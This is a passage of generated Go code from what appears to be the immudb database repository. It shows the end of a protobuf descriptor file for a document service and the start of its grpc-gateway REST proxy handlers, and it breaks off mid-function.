immudb.model.FieldComparison\n\t1,  // 17: immudb.model.FieldComparison.operator:type_name -> immudb.model.ComparisonOperator\n\t44, // 18: immudb.model.FieldComparison.value:type_name -> google.protobuf.Value\n\t35, // 19: immudb.model.SearchDocumentsResponse.revisions:type_name -> immudb.model.DocumentAtRevision\n\t36, // 20: immudb.model.DocumentAtRevision.metadata:type_name -> immudb.model.DocumentMetadata\n\t43, // 21: immudb.model.DocumentAtRevision.document:type_name -> google.protobuf.Struct\n\t30, // 22: immudb.model.CountDocumentsRequest.query:type_name -> immudb.model.Query\n\t35, // 23: immudb.model.AuditDocumentResponse.revisions:type_name -> immudb.model.DocumentAtRevision\n\t45, // 24: immudb.model.ProofDocumentResponse.verifiableTx:type_name -> immudb.schema.VerifiableTxV2\n\t2,  // 25: immudb.model.DocumentService.CreateCollection:input_type -> immudb.model.CreateCollectionRequest\n\t9,  // 26: immudb.model.DocumentService.GetCollections:input_type -> immudb.model.GetCollectionsRequest\n\t6,  // 27: immudb.model.DocumentService.GetCollection:input_type -> immudb.model.GetCollectionRequest\n\t13, // 28: immudb.model.DocumentService.UpdateCollection:input_type -> immudb.model.UpdateCollectionRequest\n\t11, // 29: immudb.model.DocumentService.DeleteCollection:input_type -> immudb.model.DeleteCollectionRequest\n\t15, // 30: immudb.model.DocumentService.AddField:input_type -> immudb.model.AddFieldRequest\n\t17, // 31: immudb.model.DocumentService.RemoveField:input_type -> immudb.model.RemoveFieldRequest\n\t19, // 32: immudb.model.DocumentService.CreateIndex:input_type -> immudb.model.CreateIndexRequest\n\t21, // 33: immudb.model.DocumentService.DeleteIndex:input_type -> immudb.model.DeleteIndexRequest\n\t23, // 34: immudb.model.DocumentService.InsertDocuments:input_type -> immudb.model.InsertDocumentsRequest\n\t25, // 35: immudb.model.DocumentService.ReplaceDocuments:input_type -> immudb.model.ReplaceDocumentsRequest\n\t27, // 36: immudb.model.DocumentService.DeleteDocuments:input_type -> immudb.model.DeleteDocumentsRequest\n\t29, // 37: immudb.model.DocumentService.SearchDocuments:input_type -> immudb.model.SearchDocumentsRequest\n\t37, // 38: immudb.model.DocumentService.CountDocuments:input_type -> immudb.model.CountDocumentsRequest\n\t39, // 39: immudb.model.DocumentService.AuditDocument:input_type -> immudb.model.AuditDocumentRequest\n\t41, // 40: immudb.model.DocumentService.ProofDocument:input_type -> immudb.model.ProofDocumentRequest\n\t3,  // 41: immudb.model.DocumentService.CreateCollection:output_type -> immudb.model.CreateCollectionResponse\n\t10, // 42: immudb.model.DocumentService.GetCollections:output_type -> immudb.model.GetCollectionsResponse\n\t7,  // 43: immudb.model.DocumentService.GetCollection:output_type -> immudb.model.GetCollectionResponse\n\t14, // 44: immudb.model.DocumentService.UpdateCollection:output_type -> immudb.model.UpdateCollectionResponse\n\t12, // 45: immudb.model.DocumentService.DeleteCollection:output_type -> immudb.model.DeleteCollectionResponse\n\t16, // 46: immudb.model.DocumentService.AddField:output_type -> immudb.model.AddFieldResponse\n\t18, // 47: immudb.model.DocumentService.RemoveField:output_type -> immudb.model.RemoveFieldResponse\n\t20, // 48: immudb.model.DocumentService.CreateIndex:output_type -> immudb.model.CreateIndexResponse\n\t22, // 49: immudb.model.DocumentService.DeleteIndex:output_type -> immudb.model.DeleteIndexResponse\n\t24, // 50: immudb.model.DocumentService.InsertDocuments:output_type -> immudb.model.InsertDocumentsResponse\n\t26, // 51: immudb.model.DocumentService.ReplaceDocuments:output_type -> immudb.model.ReplaceDocumentsResponse\n\t28, // 52: immudb.model.DocumentService.DeleteDocuments:output_type -> immudb.model.DeleteDocumentsResponse\n\t34, // 53: immudb.model.DocumentService.SearchDocuments:output_type -> immudb.model.SearchDocumentsResponse\n\t38, // 54: immudb.model.DocumentService.CountDocuments:output_type -> immudb.model.CountDocumentsResponse\n\t40, // 55: immudb.model.DocumentService.AuditDocument:output_type -> immudb.model.AuditDocumentResponse\n\t42, // 56: immudb.model.DocumentService.ProofDocument:output_type -> immudb.model.ProofDocumentResponse\n\t41, // [41:57] is the sub-list for method output_type\n\t25, // [25:41] is the sub-list for method input_type\n\t25, // [25:25] is the sub-list for extension type_name\n\t25, // [25:25] is the sub-list for extension extendee\n\t0,  // [0:25] is the sub-list for field type_name\n}\n\nfunc init() { file_documents_proto_init() }\nfunc file_documents_proto_init() {\n\tif File_documents_proto != nil {\n\t\treturn\n\t}\n\tif !protoimpl.UnsafeEnabled {\n\t\tfile_documents_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*CreateCollectionRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_documents_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*CreateCollectionResponse); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_documents_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*Field); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_documents_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*Index); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_documents_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*GetCollectionRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_documents_proto_msgTypes[5].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*GetCollectionResponse); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_documents_proto_msgTypes[6].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*Collection); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_documents_proto_msgTypes[7].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*GetCollectionsRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_documents_proto_msgTypes[8].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*GetCollectionsResponse); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_documents_proto_msgTypes[9].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*DeleteCollectionRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_documents_proto_msgTypes[10].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*DeleteCollectionResponse); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_documents_proto_msgTypes[11].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*UpdateCollectionRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_documents_proto_msgTypes[12].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*UpdateCollectionResponse); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_documents_proto_msgTypes[13].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*AddFieldRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_documents_proto_msgTypes[14].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*AddFieldResponse); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_documents_proto_msgTypes[15].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*RemoveFieldRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_documents_proto_msgTypes[16].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*RemoveFieldResponse); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_documents_proto_msgTypes[17].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*CreateIndexRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_documents_proto_msgTypes[18].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*CreateIndexResponse); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_documents_proto_msgTypes[19].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*DeleteIndexRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_documents_proto_msgTypes[20].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*DeleteIndexResponse); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_documents_proto_msgTypes[21].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*InsertDocumentsRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_documents_proto_msgTypes[22].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*InsertDocumentsResponse); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_documents_proto_msgTypes[23].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*ReplaceDocumentsRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_documents_proto_msgTypes[24].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*ReplaceDocumentsResponse); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_documents_proto_msgTypes[25].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*DeleteDocumentsRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_documents_proto_msgTypes[26].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*DeleteDocumentsResponse); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_documents_proto_msgTypes[27].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*SearchDocumentsRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_documents_proto_msgTypes[28].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*Query); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_documents_proto_msgTypes[29].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*QueryExpression); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_documents_proto_msgTypes[30].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*FieldComparison); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_documents_proto_msgTypes[31].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*OrderByClause); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_documents_proto_msgTypes[32].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*SearchDocumentsResponse); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_documents_proto_msgTypes[33].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*DocumentAtRevision); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_documents_proto_msgTypes[34].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*DocumentMetadata); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_documents_proto_msgTypes[35].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*CountDocumentsRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_documents_proto_msgTypes[36].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*CountDocumentsResponse); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_documents_proto_msgTypes[37].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*AuditDocumentRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_documents_proto_msgTypes[38].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*AuditDocumentResponse); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_documents_proto_msgTypes[39].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*ProofDocumentRequest); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\tfile_documents_proto_msgTypes[40].Exporter = func(v interface{}, i int) interface{} {\n\t\t\tswitch v := v.(*ProofDocumentResponse); i {\n\t\t\tcase 0:\n\t\t\t\treturn &v.state\n\t\t\tcase 1:\n\t\t\t\treturn &v.sizeCache\n\t\t\tcase 2:\n\t\t\t\treturn &v.unknownFields\n\t\t\tdefault:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}\n\ttype x struct{}\n\tout := protoimpl.TypeBuilder{\n\t\tFile: protoimpl.DescBuilder{\n\t\t\tGoPackagePath: reflect.TypeOf(x{}).PkgPath(),\n\t\t\tRawDescriptor: file_documents_proto_rawDesc,\n\t\t\tNumEnums:      2,\n\t\t\tNumMessages:   41,\n\t\t\tNumExtensions: 0,\n\t\t\tNumServices:   1,\n\t\t},\n\t\tGoTypes:           file_documents_proto_goTypes,\n\t\tDependencyIndexes: file_documents_proto_depIdxs,\n\t\tEnumInfos:         file_documents_proto_enumTypes,\n\t\tMessageInfos:      file_documents_proto_msgTypes,\n\t}.Build()\n\tFile_documents_proto = out.File\n\tfile_documents_proto_rawDesc = nil\n\tfile_documents_proto_goTypes = nil\n\tfile_documents_proto_depIdxs = nil\n}\n"
  },
  {
    "path": "pkg/api/protomodel/documents.pb.gw.go",
    "content": "// Code generated by protoc-gen-grpc-gateway. DO NOT EDIT.\n// source: documents.proto\n\n/*\nPackage protomodel is a reverse proxy.\n\nIt translates gRPC into RESTful JSON APIs.\n*/\npackage protomodel\n\nimport (\n\t\"context\"\n\t\"io\"\n\t\"net/http\"\n\n\t\"github.com/golang/protobuf/descriptor\"\n\t\"github.com/golang/protobuf/proto\"\n\t\"github.com/grpc-ecosystem/grpc-gateway/runtime\"\n\t\"github.com/grpc-ecosystem/grpc-gateway/utilities\"\n\t\"google.golang.org/grpc\"\n\t\"google.golang.org/grpc/codes\"\n\t\"google.golang.org/grpc/grpclog\"\n\t\"google.golang.org/grpc/metadata\"\n\t\"google.golang.org/grpc/status\"\n)\n\n// Suppress \"imported and not used\" errors\nvar _ codes.Code\nvar _ io.Reader\nvar _ status.Status\nvar _ = runtime.String\nvar _ = utilities.NewDoubleArray\nvar _ = descriptor.ForMessage\nvar _ = metadata.Join\n\nfunc request_DocumentService_CreateCollection_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq CreateCollectionRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tvar (\n\t\tval string\n\t\tok  bool\n\t\terr error\n\t\t_   = err\n\t)\n\n\tval, ok = pathParams[\"name\"]\n\tif !ok {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"missing parameter %s\", \"name\")\n\t}\n\n\tprotoReq.Name, err = runtime.String(val)\n\n\tif err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"type mismatch, parameter: %s, error: %v\", \"name\", err)\n\t}\n\n\tmsg, err := client.CreateCollection(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_DocumentService_CreateCollection_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq CreateCollectionRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tvar (\n\t\tval string\n\t\tok  bool\n\t\terr error\n\t\t_   = err\n\t)\n\n\tval, ok = pathParams[\"name\"]\n\tif !ok {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"missing parameter %s\", \"name\")\n\t}\n\n\tprotoReq.Name, err = runtime.String(val)\n\n\tif err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"type mismatch, parameter: %s, error: %v\", \"name\", err)\n\t}\n\n\tmsg, err := server.CreateCollection(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_DocumentService_GetCollections_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq GetCollectionsRequest\n\tvar metadata runtime.ServerMetadata\n\n\tmsg, err := client.GetCollections(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_DocumentService_GetCollections_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq GetCollectionsRequest\n\tvar metadata runtime.ServerMetadata\n\n\tmsg, err := server.GetCollections(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_DocumentService_GetCollection_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq GetCollectionRequest\n\tvar metadata runtime.ServerMetadata\n\n\tvar (\n\t\tval string\n\t\tok  bool\n\t\terr error\n\t\t_   = err\n\t)\n\n\tval, ok = pathParams[\"name\"]\n\tif !ok {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"missing parameter %s\", \"name\")\n\t}\n\n\tprotoReq.Name, err = runtime.String(val)\n\n\tif err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"type mismatch, parameter: %s, error: %v\", \"name\", err)\n\t}\n\n\tmsg, err := client.GetCollection(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_DocumentService_GetCollection_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq GetCollectionRequest\n\tvar metadata runtime.ServerMetadata\n\n\tvar (\n\t\tval string\n\t\tok  bool\n\t\terr error\n\t\t_   = err\n\t)\n\n\tval, ok = pathParams[\"name\"]\n\tif !ok {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"missing parameter %s\", \"name\")\n\t}\n\n\tprotoReq.Name, err = runtime.String(val)\n\n\tif err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"type mismatch, parameter: %s, error: %v\", \"name\", err)\n\t}\n\n\tmsg, err := server.GetCollection(ctx, &protoReq)\n\treturn msg, metadata, err\n\n}\n\nfunc request_DocumentService_UpdateCollection_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) {\n\tvar protoReq UpdateCollectionRequest\n\tvar metadata runtime.ServerMetadata\n\n\tnewReader, berr := utilities.IOReaderFactory(req.Body)\n\tif berr != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", berr)\n\t}\n\tif err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"%v\", err)\n\t}\n\n\tvar (\n\t\tval string\n\t\tok  bool\n\t\terr error\n\t\t_   = err\n\t)\n\n\tval, ok = pathParams[\"name\"]\n\tif !ok {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"missing parameter %s\", \"name\")\n\t}\n\n\tprotoReq.Name, err = runtime.String(val)\n\n\tif err != nil {\n\t\treturn nil, metadata, status.Errorf(codes.InvalidArgument, \"type mismatch, parameter: %s, error: %v\", \"name\", err)\n\t}\n\n\tmsg, err := client.UpdateCollection(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD))\n\treturn msg, metadata, err\n\n}\n\nfunc local_request_DocumentService_UpdateCollection_0(ctx context.Context, marshaler 